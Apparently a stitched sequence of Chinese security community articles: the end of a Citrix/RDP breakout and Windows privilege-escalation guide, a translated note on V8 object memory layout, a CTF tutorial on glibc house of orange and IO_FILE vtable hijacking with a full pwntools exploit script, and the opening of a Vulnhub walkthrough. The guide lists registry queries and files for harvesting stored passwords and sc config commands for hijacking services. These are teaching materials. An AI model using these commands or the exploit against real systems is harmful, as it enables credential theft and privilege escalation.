6、CTRL+ALT+NUMBER 结合-号 – 截取活动窗口屏幕并保存到RDP剪贴板中
7、CTRL+ALT+NUMBER 结合+号 – 截取整个RDP会话屏幕并保存到RDP剪贴板中
**16.2 Citrix ICA热键**
1、SHIFT+F1 – 显示Windows任务列表
2、SHIFT+F2 – 切换标题栏
3、SHIFT+F3 – 关闭远程应用/Citrix连接
4、CTRL+F1 – 显示Windows NT安全桌面
5、CTRL+F2 – 显示远程任务列表或者开始菜单
6、CTRL+F3 – 显示任务管理器
7、ALT+F2 – 循环切换最大化及最小化窗口
8、ALT+PLUS – 循环切换已打开的窗口
9、ALT+MINUS – 反向循环切换已打开的窗口
**十七、批处理文件及脚本**
当交互式shell被禁用时，我们可以使用诸如.BAT和.CMD之类的批处理文件来执行系统命令。虽然.BAT文件可能会被禁用，但较为陌生的.CMD文件有时候还是能发挥作用的。
**17.1 Windows脚本宿主（Windows Script Host，WSH）**
假如“cscript.exe“或者”wscript.exe“未被禁用，我们可以使用WSH来运行许多脚本语言，默认情况下可以运行VBScript、VBA以及JScript语言。
例如，我们可以执行如下VBScript片段，将代码片段保存为.VBS文件即可。使用这段代码，我们有可能可以启动一个CMD命令行：
set objApp = CreateObject(“WScript.Shell”)
objApp.Run “CMD C:”
我们可以通过双击方式来运行这个VBS文件，也可以将文件名作为参数传递给cscript.exe或者wscript.exe来运行。
系统支持的其他语言也有可能被攻击者滥用，如Python、Perl、PHP等，我们可以尝试使用这些语言。许多主机上默认会安装Java运行环境，我们可以采用类似方式使用javac.exe以及java.exe完成命令运行目的。
**十八、敏感文件及数据**
许多敏感数据对（快速）权限提升来说非常有用。总会有某些人会以明文形式将密码保存在某个文件中。
**18.1 使用十八般武艺来搜索文件**
1、Windows资源管理器
2、Windows搜索功能
3、命令行配合“dir c: /s juicy.txt“以及“dir c: /s *password* == *cred* == *vnc* ==
*.config*”命令。
**18.2 枚举可能保存敏感数据的应用程序**
1、VNC：ultravnc.ini等
2、Apache：httpd.conf，.htaccess等
3、KeePass以及类似应用程序
**18.3 敏感注册表项**
1、reg query “HKCUSoftwareORLWinVNC3Password”
2、reg query “HKLMSOFTWAREMicrosoftWindows NTCurrentversionWinlogon”
3、reg query “HKLMSYSTEMCurrentControlSetServicesSNMP”
4、reg query “HKCUSoftwareSimonTathamPuTTYSessions”
**18.4 敏感文件**
1、sysprep.inf
2、sysprep.xml
3、%WINDIR%PantherUnattendUnattended.xml
4、%WINDIR%PantherUnattended.xml
5、%WINDIR%debugNetSetup.log
6、%WINDIR%repairsam
7、%WINDIR%repairsystem
8、%WINDIR%repairsoftware
9、%WINDIR%repairsecurity
10、%WINDIR%system32configAppEvent.Evt
11、%WINDIR%system32configSecEvent.Evt
12、%WINDIR%system32configdefault.sav
13、%WINDIR%system32configsecurity.sav
14、%WINDIR%system32configsoftware.sav
15、%WINDIR%system32configsystem.sav
16、%USERPROFILE%ntuser.dat
**18.5 Citrix ICAClient缓存连接**
我们有可能会在本地应用数据仓库中找到已缓存的连接信息。检查“ICAClient”目录，这个目录通常位于%APPDATA%目录。使用“dir /s
ICAClient”命令也可以。
我们可以将其他用户的ICAClient内容复制到自己的目录中，这样有可能可以劫持他们已缓存的连接。
**18.6 组策略首选项中保存的密码**
如果你正在测试的主机属于某个域，并且你可以访问域控上的SYSVOL网络共享目录，那么我们可以寻找存储在各种XML文件中的“cPassword”字段。我们可以手动浏览SYSVOL文件夹，查看以下相关文件：
1、Groups.xml
2、Services.xml
3、ScheduledTasks.xml
4、Printers.xml
5、Drives.xml
6、DataSources.xml
“Password”属性经过AES加密，然而密钥为静态密钥，并且微软官方通过许多MSDN文章介绍了这个静态密钥。
**十九、二进制驻留**
二进制程序的驻留涉及到将恶意代码放在某个目录，而这个目录经常会被存在漏洞的应用或服务所使用。通常我们需要结合多种脆弱配置才能完成这一任务。
**19.1 脆弱的Windwos服务权限**
常见的一个攻击点就是存在漏洞的Windows服务以及文件/目录权限。正如前文所述，Sysinternals的accesschk.exe工具可以用来枚举此类信息。
首先，要确认我们位于那个用户组。对于低权限用户来说，他们通常位于标准的“已认证用户”组中。
现在我们需要枚举哪些服务可以被我们修改：
accesschk.exe -uwcqv “Authenticated Users” *
如果结果中包含任意服务，我们就可以选择它作为攻击目标。
许多服务会运行在SYSTEM权限下，因此如果我们具备这类服务的写权限，我们就能以最高权限运行任何应用程序。
sc config SERVICENAME binpath= “C:malicious.exe” -e
C:WINDOWSSystem32cmd.exe”
sc config SERVICENAME obj= “.LocalSystem” password =””
net stop SERVICENAME
net start SERVICENAME
**19.2 DLL劫持**
应用程序通常不能自己启动运行，而是以来他们挂载的资源池来完成运行目的。这种情况对诸如DLL之类的代码库来说非常普遍。通常情况下，Windows应用程序会按照预设路径来查找DLL文件，会依次检查如下目录：
1、应用程序加载的目录
2、32位系统目录（C:WindowsSystem32）
3、16位系统目录（C:WindowsSystem）
4、Windows目录（C:Windows）
5、当前工作目录（CWD）
6、PATH环境变量指定的目录（先是系统变量然后是用户变量）
如果我们可以将我们的恶意DLL放在上游路径，那么应用程序就会优先加载我们的恶意代码。
**二十、总结**
通过本文分析，我们知道这类环境通常难以进行安全防护，甚至难以正确地进行安全防护。
当用户可以使用全功能的桌面环境时，这种安全防护可能是一项更具挑战的任务。操作系统的设计初衷是提供丰富的功能，尽可能地对用户友好。不幸的是，这两点都与系统安全存在某种冲突。
我们建议任何远程环境都按照务实方式进行配置，尽可能少地向用户提供可用功能，满足用户日常需求即可，这样能尽可能少地减少整体攻击面。
所有的默认配置都应该被调整和加强，以尽可能地减少攻击者可以使用的攻击路径。
当然这些环境应该提供尽可能丰富的日志功能，同时将日志报告给中央监控/报告系统。这样管理员就能实时监控可能发生的任何攻击行为。
**二十一、参考资料及延伸阅读**
1、Citrix安全规范：<http://www.citrix.com/support/security-compliance.html>
2、SANS白皮书：Citrix以及远程服务环境中的服务器安全：<http://www.citrix.com/content/dam/citrix/en_us/documents/support/citrix-xenapp-6-5-and-xendesktop-5-6-security-standards-and-deployment-scenarios.pdf>
3、Tariq Azad撰写的《如何对企业中的Citrix
XenApp服务器进行安全加固》：<http://www.goodreads.com/author/show/3072999.Tariq_Azad>
4、windows-privesc-check：<http://pentestmonkey.net/tools/windows-privesc-check>
5、使用mspaint创建cmd.exe：<http://nsimattstiles.wordpress.com/2013/03/19/gain-command-prompt-access-via-mspaint/> | 社区文章 |
# V8 Bug Hunting 之 JS 类型对象的内存布局总结
|
##### 译文声明
本文是翻译文章，文章原作者 stankoja，文章来源：medium.com
原文地址：<https://medium.com/@stankoja/v8-bug-hunting-part-2-memory-representation-of-js-types-ea37571276b8>
译文仅供参考，具体内容表达以及含义原文为准。
## 相关介绍
在设置好JS调试环境后，现在就可以使用V8了。我想要看的第一件事是各种JS类型在内存中的表现方式，JS类型分为两大类：基本类型（即数字，字符串，布尔…）和对象，我们来看看这两个类别。
## Number
在JavaScript中，所有数字都是双精度数（64位浮点数），这是数字的原始类型。但是V8如何实现它们呢？在大多数情况下，在代码中使用数字时，我们只使用整数。
先来看看我之前博客文章中的截图：
在那里，我创建了一个像=
[1,2,3,4,5,6,7,8,9]的数组，并在内存中识别出来。我选择了我认为是数组中的整数2。考虑到在64位系统上并且内存是小端的，我认为这是有意义的。
虽然在C语言中可能有意义，但这并不是像JavaScript这样的高级语言的工作方式。JavaScript是一种动态类型语言，这意味着变量可以包含任何类型，并且为了能够做到这一点，JavaScript需要使用变量存储一些类型信息。
JavaScript Core（WebKit JS引擎）使用 **NaN-boxing** 将类型信息和变量值存储在64位浮点内。V8使用 **标记指针**
来做到这一点。由于内存的对齐方式，指针通常指向4或8字节倍数的内存位置。这意味着指针的最后2-3位将始终为0并且永远不会被使用。V8将使用它并将在最后一位内编码某些类型信息。将会是这样的：
**对于指针：**
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 1
对于指针，V8将始终将最后一位设置为1，如果该位为1，则表示我们正在处理指针。这也意味着在使用该指针之前，需要清除最后一位（将其设置为0），因为它被设置为1只是为了将该变量标记为指针。
**对于小整数（SMI）：**
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 0
对于小整数（SMI），最后一位将设置为0，这意味着32位系统上的小整数为31位长。
在64位系统上，它的工作略有不同 – SMI为32位，低32位始终设为0：
xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx 00000000000000000000000000000000
但原理是一样的：如果一个内存位置的最后一位是1，正在处理一个指针，如果它是0，正在处理一个SMI。
通过创建以下数组并在D8中对其执行调试打印来尝试：
A = [5， “test”]
注意这里调试输出中的所有指针是如何将最后一位设置为1的，如果想要使用其中一些指针，必须清除它的最后一位，即该数组的元素地址将变为02ae456d6e98（而不是02ae456d6e99）。
让我们转到WinDbg中的那个地址并查看元素：
在那里将找到SMI 5，并在它下面是指向我们的字符串“test”的指针。如果记住内存是little-endian，SMI看起来像是十六进制：
00 00 00 05 00 00 00 00
这意味着，低32位设置为0，高32位用作SMI值。
现在让我们尝试添加一个大于32位的整数和一个浮点到数组，看看会发生什么：
看到这两个数字都存储在堆上。如果跟踪其中一个指针，将看到两件事：指向map的指针，以及[IEEE
754](https://en.wikipedia.org/wiki/IEEE_754)编码形式的数字/浮点数的值：
可以使用任何IEEE 754转换器将这些值转换回十进制格式。
## 字符串和其他原始类型
与浮点数类似，字符串将以类似的方式存储：指向内存位置的指针：1）描述变量的映射
2）变量本身的值。一些不包含任何值的原始数据（如null或undefined）将仅表示为指向map的指针。
值得一提的是，尽管讨论了一些类型如字符串和数字作为基本类型，但也可以将它们创建为对象：
var a =“test”; //原始类型
var o = new String（“test”）;
那么现在让我们谈个对象吧:)。
## 对象
创建一个对象并为它执行调试打印：
var o = {color：“yellow”，shape：“round”};
尝试在WinDbg中加载该对象的内存地址，因为现在唯一的目标是了解它在内存中的布局：
为了理解这一点，首先理解JS对象在内存中应该是什么样子：
++++++++++++++++++++++++
+ JS OBJECT +
++++++++++++++++++++++++
| Map |
------------------------ | Properties |
------------------------ | Elements |
------------------------ | In-Object Property 1 |
------------------------ | In-Object Property 2 |
------------------------ | ... |
------------------------
对象的内存位置的第一个指针是指向该对象的Map的指针。Map类似于隐藏类，它描述了对象的布局，属性名称到偏移的映射，以及其他一些东西，比如指向对象原型的指针。
第二个指针是指向该对象属性的指针。V8中有三种类型的对象属性：
1. Very fast properites
2. Fast properties
3. Slow properties
如果一个对象只有几个属性，V8将直接将它们放在对象本身内。如果属性太多，V8将使用Object中的第二个指针指向包含其他属性的数组，在这种情况下可能是Fast或Slow。<https://v8.dev/blog/fast-properties>)
Object中的第三个指针是指向对象元素的指针。元素就像属性，但有数字名称，即{1：“green”，2：“red”}，它们将在数组中使用。
在指针到达所有非常快的属性之后，如果你从上面的截图比较WinDbg内存布局中的第四个内存位置/行，你会看到它包含我们第一个属性的字符串值的地址/指针。
接下来还有更多内容要探索:)
## 参考资料
<https://github.com/thlorenz/v8-perf/blob/master/data-types.md>
<https://stackoverflow.com/questions/7413168/how-does-v8-manage-the-memory-of-object-instances>
<https://v8.dev/blog/fast-properties>
<https://javascript.info/primitives-methods>
<https://www.youtube.com/watch?v=5nmpokoRaZI> | 社区文章 |
# 新手向——IO_file全流程浅析
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 前言
_在当前CTF比赛中，“伪造IO_FILE”是pwn题里一种常见的利用方式，并且有时难度还不小。它的起源来自于Hitcon CTF 2016的[house
of
orange](https://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#more)，历经两年，这种类型题目不断改善，越改越复杂，但核心不变，理解io流在程序中的走向，就能很好的迎接挑战。然，网上虽资料不少，但是要么源码过多，对初学者很不友好，要么单提解题思路，令人云里雾里，疑惑百出。而这些让我催生出了这篇文章，若有不实不详之处，希望各位师傅指点。_
本文主要分为三个部分，首先简单介绍下“伪造IO_FILE”的攻击流程和思路，其次会利用几道ctf题目来详细讲解攻击原理，最后由glibc链接库近年的变化做一个总结。争取用最少的源码做最好的解释。
* 攻击原理浅析
* pwn题讲解
* 总结
## 攻击原理浅析
在原始那道2016年的题目里，其实攻击手段由两部分组成，前用同名的堆利用house of
orange技术来突破没有free函数，后用伪造虚表的fsop技术来穿过多个函数来get shell。
### 什么是house of orange
> House of Orange 的核心在于在没有 free 函数的情况下得到一个释放的堆块 (unsorted bin)。
> 这种操作的原理简单来说是当前堆的 top chunk 尺寸不足以满足申请分配的大小的时候，原来的 top chunk 会被释放并被置入
> unsorted bin 中，通过这一点可以在没有 free 函数情况下获取到 unsorted bins。
1.创建第一个chunk，修改top_chunk的size，破坏_int_malloc
因为在sysmalloc中对这个值还要做校验， top_chunk的size也不是随意更改的：
（1）大于MINSIZE(一般为0X10)
（2）小于接下来申请chunk的大小 + MINSIZE
（3）prev inuse位设置为1
（4）old_top + oldsize的值是页对齐的，即 (&old_top+old_size)&(0x1000-1) == 0
2.创建第二个chunk，触发sysmalloc中的_int_free
就是如果申请大小>=mp_.mmap_threshold,就会mmap。我们只要申请不要过大，一般不会触发这个。
本文就不展开讲解house of orange技术，它的利用手段较简单，CTF Wiki上关于它的讲解也很详细。
[house of orange from
CTFWiki](http://static.zybuluo.com/shaobaobaoer/7arw5d9n5exc0hiei0ir0pux/2.png)
### 了解linux下常见的IO流
首先，要知道的是，linux环境下，文件结构体最全面的是 __IO_FILE_plus_ 结构体，所有的IO流结构都被它囊括其中。看它的一个定义引用：
extern struct _IO_FILE_plus *_IO_list_all;
__IO_list_all_ 是一个 __IO_FILE_plus_
结构体定义的一个指针，它存在在符号表内，所以pwntools是可以搜索到的，接下来让我们看看结构体内部。
struct _IO_FILE_plus
{
_IO_FILE file;
const struct _IO_jump_t *vtable;
};
结构体 __IO_FILE_plus_ ，它有两部分组成。
在第一部分， *file* 在 Linux 系统的标准 IO 库中是用于描述文件的结构，称为文件流。 *file* 结构在程序执行，*fread*、*fwrite* 等标准函数需要文件流指针来指引去调用虚表函数。
特殊地， *fopen* 等函数时会进行创建，并分配在堆中。我们常定义一个指向 *file* 结构的指针来接收这个返回值。
尤其要注意得是， __IO_list_all_ 并不是一个描述文件的结构，而是它指向了一个可以描述文件的结构体头部，通常它指向
__IO_2_1_stderr__ 。
~~各种结构体一齐出现，一开始我没读源码，完全分不清~~
struct _IO_FILE {
int _flags; /* low-order is flags.*/
#define _IO_file_flags _flags
char* _IO_read_ptr; /* Current read pointer */
char* _IO_read_end; /* End of get area. */
char* _IO_read_base; /* Start of putback+get area. */
char* _IO_write_base; /* Start of put area. */
char* _IO_write_ptr; /* Current put pointer. */
char* _IO_write_end; /* End of put area. */
char* _IO_buf_base; /* Start of reserve area. */
char* _IO_buf_end; /* End of reserve area. */
char *_IO_save_base;
char *_IO_backup_base;
char *_IO_save_end;
struct _IO_marker *_markers;
struct _IO_FILE *_chain;/*指向下一个file结构*/
int _fileno;
#if 0
int _blksize;
#else
int _flags2;
#endif
_IO_off_t _old_offset;
[...]
_IO_lock_t *_lock;
#ifdef _IO_USE_OLD_IO_FILE //开始宏判断（这段判断结果为否，所以没有定义_IO_FILE_complete，下面还是_IO_FILE）
};
struct _IO_FILE_complete
{
struct _IO_FILE _file;
#endif //结束宏判断
[...]
int _mode;
/* Make sure we don't get into trouble again. */
char _unused2[15 * sizeof (int) - 4 * sizeof (void *) - sizeof (size_t)];
#endif
};
我把部分注释和源码去除，因为源码还是有些晦涩，并且不能很好体现结构体所占size，这部分反而pwndbg却很好调试。有些时候还是珍惜生命少看宏定义。
~~笑~~
在第二部分，刚刚谈到的虚表就是 _IO_jump_t 结构体，在此虚表中，有很多函数都调用其中的子函数，无论是关闭文件，还是报错输出等等，都有对应的字段，而这正是可以攻击者可以被利用的突破口。
值得注意的是，在 _IO_list_all 结构体中，_IO_FILE 结构是完整嵌入其中，而 vtable 是一个虚表指针，它指向了 _IO_jump_t 结构体。一个是完整的，一个是指针，这点一定要切记。
struct _IO_jump_t
{
JUMP_FIELD(size_t, __dummy);
JUMP_FIELD(size_t, __dummy2);
JUMP_FIELD(_IO_finish_t, __finish);
JUMP_FIELD(_IO_overflow_t, __overflow);
JUMP_FIELD(_IO_underflow_t, __underflow);
JUMP_FIELD(_IO_underflow_t, __uflow);
JUMP_FIELD(_IO_pbackfail_t, __pbackfail);
/* showmany */
JUMP_FIELD(_IO_xsputn_t, __xsputn);
JUMP_FIELD(_IO_xsgetn_t, __xsgetn);
JUMP_FIELD(_IO_seekoff_t, __seekoff);
JUMP_FIELD(_IO_seekpos_t, __seekpos);
JUMP_FIELD(_IO_setbuf_t, __setbuf);
JUMP_FIELD(_IO_sync_t, __sync);
JUMP_FIELD(_IO_doallocate_t, __doallocate);
JUMP_FIELD(_IO_read_t, __read);
JUMP_FIELD(_IO_write_t, __write);
JUMP_FIELD(_IO_seek_t, __seek);
JUMP_FIELD(_IO_close_t, __close);
JUMP_FIELD(_IO_stat_t, __stat);
JUMP_FIELD(_IO_showmanyc_t, __showmanyc);
JUMP_FIELD(_IO_imbue_t, __imbue);
#if 0
get_column;
set_column;
#endif
};
大师傅们肯定都能看懂了，但初学者可能读起来还是有点累，我放一张图来理解一下流程：
### 虚表劫持六步曲
先从流程图来看看你是否对过程都明白，如果还是对某些地方存在疑问，那就和我一起来探讨吧。
以上是攻击代码在系统内部的流转过程，总共要经历六步，而如何填充payload也是需要六步思考。
### 六步payload
能 _IO_file attack_ 最最基本的是，堆区要能溢出，并且此溢出距离还不能太短。
#### 创造unsortedbin
house of orange技术目的就是为了，把 old top_chunk 放进unsortedbin里。不过，如果程序能有free函数，第一步就自动达成了。
#### 泄露地址
不管怎么样，最早的 IO_file attack 必须泄露heap地址和libc地址，不然无法覆盖地址时确定各个函数的关系。不过，在 libc2.24 发布后，因为多了 vtable_check 函数而难以任意地址布置虚表，反而让人想出了新的利用说法，只用泄露libc地址即可，不知道算不算因祸得福。
#### 篡改bk指针
这里利用的是 unsortedbin attack技术。 ~~注意不是unlink漏洞~~
从结果上来说，数据溢出至 unsortedbin 里chunk的bk指针，在此地址上填上 _IO_list_all-0x10 的地址就完事了。可为什么呢？
while ((victim = unsorted_chunks(av)->bk) != unsorted_chunks(av)) {
bck = victim->bk;
[...]
/* remove from unsorted list */
unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
if (__builtin_expect (victim->size <= 2 * SIZE_SZ, 0)
|| __builtin_expect (victim->size > av->system_mem, 0))
malloc_printerr (check_action, "malloc(): memory corruption",
chunk2mem (victim), av);//攻击开始函数
}
victim 指当前存在 unsortedbin 内chunk；
bck 很明显是 _IO_list_all-0x10 的地址；
unsorted_chunks(av) 是arena的top块，根据调试是 main_arena+88;
当程序再次执行时， _IO_list_all-0x10 地址赋值给 main_arena+88 的bk处，而把 main_arena+88 的地址赋值给
_IO_list_all-0x10 的fd处，即是 _IO_list_all，将其篡改到 arena 中，等到函数调用时，就会从
_IO_2_1_stderr_ 改变去 arena 里。
当然，因为fd指针在这里毫无用处，所以可以写入任意地址，但是它影响着unsortedbin链表的正确，如果之后还要利用bin，就要小心构造。
#### 篡改freed chunk的头部
从结果上来说，数据溢出至 unsortedbin 里chunk的头部，在前地址上全填’x00’，后地址上填上0x61，也就完事了。可这也为什么呢？
/* place chunk in bin */
if (in_smallbin_range(size)) {
victim_index = smallbin_index(size);
bck = bin_at(av, victim_index);
fwd = bck->fd;
[...]
victim->bk = bck;
victim->fd = fwd;
fwd->bk = victim;
bck->fd = victim;
上述代码的大概含义是，检查了unsortedbin里的chunk不符合新申请的大小，就会按size大小放入smallbin或者largebin中。而我们伪造的size大小是0x61，就会放入smallbin的第六个链表里，同时把
victim 的地址赋值给链表头的bk处。此时，原chunk头（victim)的地址填写于 main_arena+88 的 0x60+0x18
的地址上，而file结构中的 __chain 指针也是位于结构中 0x78处。所以若是在 arena 里的file流要跳转，就会跳转到原chunk里。_
__*这里自认为是最精巧的攻击技术，无法控制arena里的所有数据，那就篡改可以控制的，再跳转到可控地址中__
值得注意的是，由于之前把size设置为0x61，所以新申请无论什么size都会把这个chunk放进smallbin里。
另外，smallbin和fastbin有互相覆盖的size大小，但是从unsortedbin里脱出时，只会掉进smallbin。
#### 绕过fflush函数的检查
接下来要填充伪造的file结构里的数据了。原本是可以任意填充，但为了绕过fflush函数的检查，提供了两种填充方法。
fp->_mode <= 0
fp->_IO_write_ptr > fp->_IO_write_base
或
_IO_vtable_offset (fp) == 0（无法变动）
fp->_mode > 0
fp->_wide_data->_IO_write_ptr > fp->_wide_data->_IO_write_base
(技巧：_wide_data指向 fp-0x10 的地址，因为fp的read_end > read_ptr（可观察下文调试））
部分 _IO_wide_data 结构体源码，来理解伪造的原理
struct _IO_wide_data
{
wchar_t *_IO_read_ptr;
wchar_t *_IO_read_end;
wchar_t *_IO_read_base;//注意wchar和char的区别
wchar_t *_IO_write_base;//small
wchar_t *_IO_write_ptr;//big
wchar_t *_IO_write_end;
wchar_t *_IO_buf_base;
wchar_t *_IO_buf_end;
[...]
};
所有的变量在file结构源码里都有其位置地址，就不详细写偏移了。
由于逻辑短路原则，想要调用后面的_IO_OVERFLOW (fp, EOF)，前面的条件只要满足其一就可以了。
之外，这段函数代码中也解释了为什么构造了0x61后，文件流会跳转的原因。
_IO_flush_all_lockp (int do_lock)
{
[...]
last_stamp = _IO_list_all_stamp;//第一个一定相等，所以跳转
fp = (_IO_FILE *) _IO_list_all;
while (fp != NULL)
{
[...]
if (((fp->_mode <= 0 && fp->_IO_write_ptr > fp->_IO_write_base)//bypass或一条件
#if defined _LIBC || defined _GLIBCPP_USE_WCHAR_T
|| (_IO_vtable_offset (fp) == 0
&& fp->_mode > 0 && (fp->_wide_data->_IO_write_ptr
> fp->_wide_data->_IO_write_base))//bypass或二条件
#endif
)
&& _IO_OVERFLOW (fp, EOF) == EOF)//改 _IO_OVERFLOW 为 自填充地址函数来劫持程序流
[...]
if (last_stamp != _IO_list_all_stamp)
{
fp = (_IO_FILE *) _IO_list_all;
last_stamp = _IO_list_all_stamp;
}
else
fp = fp->_chain;//指向下一个fp（从main_arena到heap）
}
[...]
}
#### 虚表函数的位置
首先，file结构的 *vtable 指针要填写伪造虚表的地址，这需要精确计算这也是为什么需要heap地址的原因。
其次，虚表的结构源码上文描述过，简单的做法就是，除了前两个填写0x0值外，其余都填写要想跳转的地址。
下面是一张完整的攻击流程图：
### glibc2.24下的利用手段
> 在新版本的 glibc 中 (2.24)，全新加入了针对 IO_FILE_plus 的 vtable 劫持的检测措施，glibc
> 会在调用虚函数之前首先检查 vtable 地址的合法性。
> 如果 vtable 是非法的，那么会引发 abort。
> 首先会验证 vtable 是否位于_IO_vtable 段中，如果满足条件就正常执行，否则会调用_IO_vtable_check 做进一步检查。
> 这里的检查使得以往使用 vtable 进行利用的技术很难实现
好，那我们先观察一下，新的check函数：
static inline const struct _IO_jump_t *
IO_validate_vtable (const struct _IO_jump_t *vtable)
{
uintptr_t section_length = __stop___libc_IO_vtables - __start___libc_IO_vtables;
const char *ptr = (const char *) vtable;
uintptr_t offset = ptr - __start___libc_IO_vtables;
if (__glibc_unlikely (offset >= section_length))
_IO_vtable_check ();//引发报错的函数
return vtable;
}
由于 vtable 必须要满足 在 **stop_** libc_IO_vtables 和 **start_**
libc_IO_vtables之间，而我们上文伪造的vtable不满足这个条件。
然而攻击者找到了 **IO_str_jumps 和** IO_wstr_jumps 这两个结构体 可以绕过check。其中，因为利用
**IO_str_jumps 绕过更简单，本文着重介绍它，** IO_wstr_jumps与其大同小异。
观察
const struct _IO_jump_t _IO_str_jumps libio_vtable =
{
JUMP_INIT_DUMMY,//调试发现占0x10
JUMP_INIT(finish, _IO_str_finish),
JUMP_INIT(overflow, _IO_str_overflow),
JUMP_INIT(underflow, _IO_str_underflow),
JUMP_INIT(uflow, _IO_default_uflow),
[...]
};
其中其中 _IO_str_finsh 和 _IO_str_overflow 可以拿来利用.相对来说，函数 _IO_str_finish
的绕过和利用条件更简单直接，该函数定义如下：
void _IO_str_finish (FILE *fp, int dummy)
{
if (fp->_IO_buf_base && !(fp->_flags & _IO_USER_BUF))
(((_IO_strfile *) fp)->_s._free_buffer) (fp->_IO_buf_base); //call qword ptr [fp+0E8h]
fp->_IO_buf_base = NULL;
_IO_default_finish (fp, 0);
}
所以，在原来的基础上增加的是：
fp->_flags = 0
vtable = _IO_str_jumps - 0x8
//这样调用_IO_overflow时会调用到 _IO_str_finish
fp->_IO_buf_base = /bin/sh_addr
fp+0xe8 = system_addr
同时，不用再伪造虚表，所以就可以不用泄露heap地址了。
而 _IO_str_overflow 会稍微复杂一些，该函数定义如下：
int _IO_str_overflow (_IO_FILE *fp, int c)
{
[...]
{
if (fp->_flags & _IO_USER_BUF) // not allowed
return EOF;
else
{
char *new_buf;
char *old_buf = fp->_IO_buf_base;
size_t old_blen = _IO_blen (fp);
_IO_size_t new_size = 2 * old_blen + 100;
if (new_size < old_blen)
return EOF;
new_buf
= (char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
[...]
}
所以，它在原来的基础上增加的是：
fp->_flags = 0
fp->_IO_buf_base = 0
fp->_IO_buf_end = (bin_sh_addr - 100) / 2
fp->_IO_buf_base = /bin/sh_addr
fp+0xe8 = system_addr
其实这份源码我读的时候，有个疑问：
fp->_s._free_buffer 和 fp->_s._allocate_buffer
到底是指向了偏移多少的地址，网上找到的一个答案说用IDA看，尴尬的是IDA里显示的是0xe0，这明显不对。还是简单点，动态调试一下就可以了。
其实，_IO_vtable_check 函数也不会立刻报错，里面还会检查 dl_open_hook 等函数来检测是否是外来的文件流，从而取消报错，而这里又是一个可以利用的点。~~emmm再补这篇文章可能太冗长了，下次写~~
### 最后的一点注意
可以注意到，IO_file attack
的利用并不是百分百成功。凡事都有原因，我也想知道，但网上也搜索不到知识。最后感谢holing师傅，他帮我解决了这个疑问：
必须要libc的低32位地址为负时，攻击才会成功。
噢，原来原因还是出在fflush函数的检查里，它第二步才是跳转，第一步的检查，在arena里的伪造file结构中这两个值，绝对值一定可以通过，那么就会直接执行虚表函数。所以只有为负时，才会check失效。再次感谢holing师傅。
最后，你会发现我虽然分了六步，但其实每一步都是紧紧相扣，如果到这里你已经忘了之前在讲什么，不妨看看下面这道pwn题，或许有新的体会。
## pwn题讲解
这里采用的安恒2018.10的level1题，网上好像也没有wp，我就心安理得地开始讲解。
凡事都从打开IDA开始
可以看出程序只有create函数和show函数，典型的要使用house of orange技术，再配上点IO_file attack技术。
观察show（）函数，发现printf函数有格式化漏洞，但是由于read函数输入时有截断，导致无法使用unsortedbin里的数据来泄露。偏移泄露时，观察到栈上只有libc里的地址，因只能泄露libc地址，考虑到使用2.24版本的攻击模式。
我使用house of orange技术时，直接抄取原本top_chunk的后三位。
数据填充完成后，可以发现gdb里已经对freed chunk无法识别。
接着申请新chunk报错时，观察数据变化和上文是否一致。
_IO_list_all
里储存的是main_arena+88的地址，而main_arena+88+0x18也储存着_IO_list_all-0x10的地址。
可以清楚观察到，arena里的伪造file结构的 *chain 确实指向了heap区伪造的chunk头。而它
的绝对值比较上，确实可以成功判断，从而有失败的可能。
回到heap区，发现部分数据已经改变，若是采用第二种办法，_wide_data 指向fp-0x10地址后，判断也能成功。
最后，当libc低32位小于0x80000000（为正）时，就会攻击失败。
最后放上exp：
from pwn import *
p = process('./level1')
def create(size,stri):
p.recvuntil('exitn')
p.sendline('1')
p.recvuntil('size: ')
p.sendline(str(size))
p.recvuntil('string: ')
p.sendline(stri)
def show():
p.recvuntil('exitn')
p.sendline('2')
p.recvuntil('result: ')
resp = p.recv(14)
return resp
create(0x10,'%2$p')
libc = eval(show()[:14])-0x3c6780
log.info('libc: '+hex(libc))
sys = libc + 0x45390
sh = libc + 0x18cd57
one = libc + 0x45216
_IO_list_all = libc + 0x3c5520
#
create(0x10,'%8$p.%p.%p.%p.%p.%p.%p')
start = eval(show()[:14])-0x9b0
log.info('start: '+hex(start))
payload = 'a'*0x18+p64(0xfa1)
create(0x10,payload)
#gdb.attach(p)
create(0x1000,'a')
#unsortedbin
pay='e'*0x100
fake_file=p64(0)+p64(0x61) #fp ; to smallbin 0x60 (_chain)
fake_file+=p64(libc)+p64(_IO_list_all-0x10) #unsortedbin attack
fake_file+=p64(1)+p64(2) #_IO_write_base ; _IO_write_ptr
fake_file+=p64(0)+p64(sh)#_IO_buf_base=sh_addr
fake_file=fake_file.ljust(0xd8,'x00') #mode<=0
fake_file+=p64(libc+0x3c37a0-8)#vtable=_IO_str_jump-8
fake_file+=p64(0)
fake_file+=p64(sys)#fp+0xe8=sys_addr
pay+=fake_file
create(0x100,pay)
#if the lower 32 of libc is more than 0x80000000,attack is success
#gdb.attach(p)
p.recvuntil('exitn')
p.sendline('1')
p.recvuntil('size: ')
p.sendline('0x20')
p.interactive()
## 总结
> 来自 glibc 的 master 分支上的今年4月份的一次 commit，不出意外应该会出现在 libc-2.28 中。
> 该方法简单粗暴，用操作堆的 malloc 和 free 替换掉原来在 _IO_str_fields 里的 _allocate_buffer
> 和 _free_buffer。由于不再使用偏移，就不能再利用 __libc_IO_vtables 上的 vtable
> 绕过检查，于是上面的利用技术就都失效了。
年关将至，现在正是今年的最后日子，刚刚掌握并整理了这份文档，我才发现开发者们已经比我快上近一年。而这种复杂又梦幻的攻击方法，在现实环境下却要用其他方法来辅助实现。但无论如何，通过这次学习，我学会了如何读源码，如何询问他人，成功总是要先学会失败。
## 参考资料
(1).<https://veritas501.space/2017/12/13/IO%20FILE%20%E5%AD%A6%E4%B9%A0%E7%AC%94%E8%AE%B0/#more>
(2).<https://ctf-wiki.github.io/ctf-wiki/pwn/readme/> | 社区文章 |
# node1 靶机渗透指南
### 靶机下载地址和环境
靶机下载地址:<https://download.vulnhub.com/node/Node.ova>
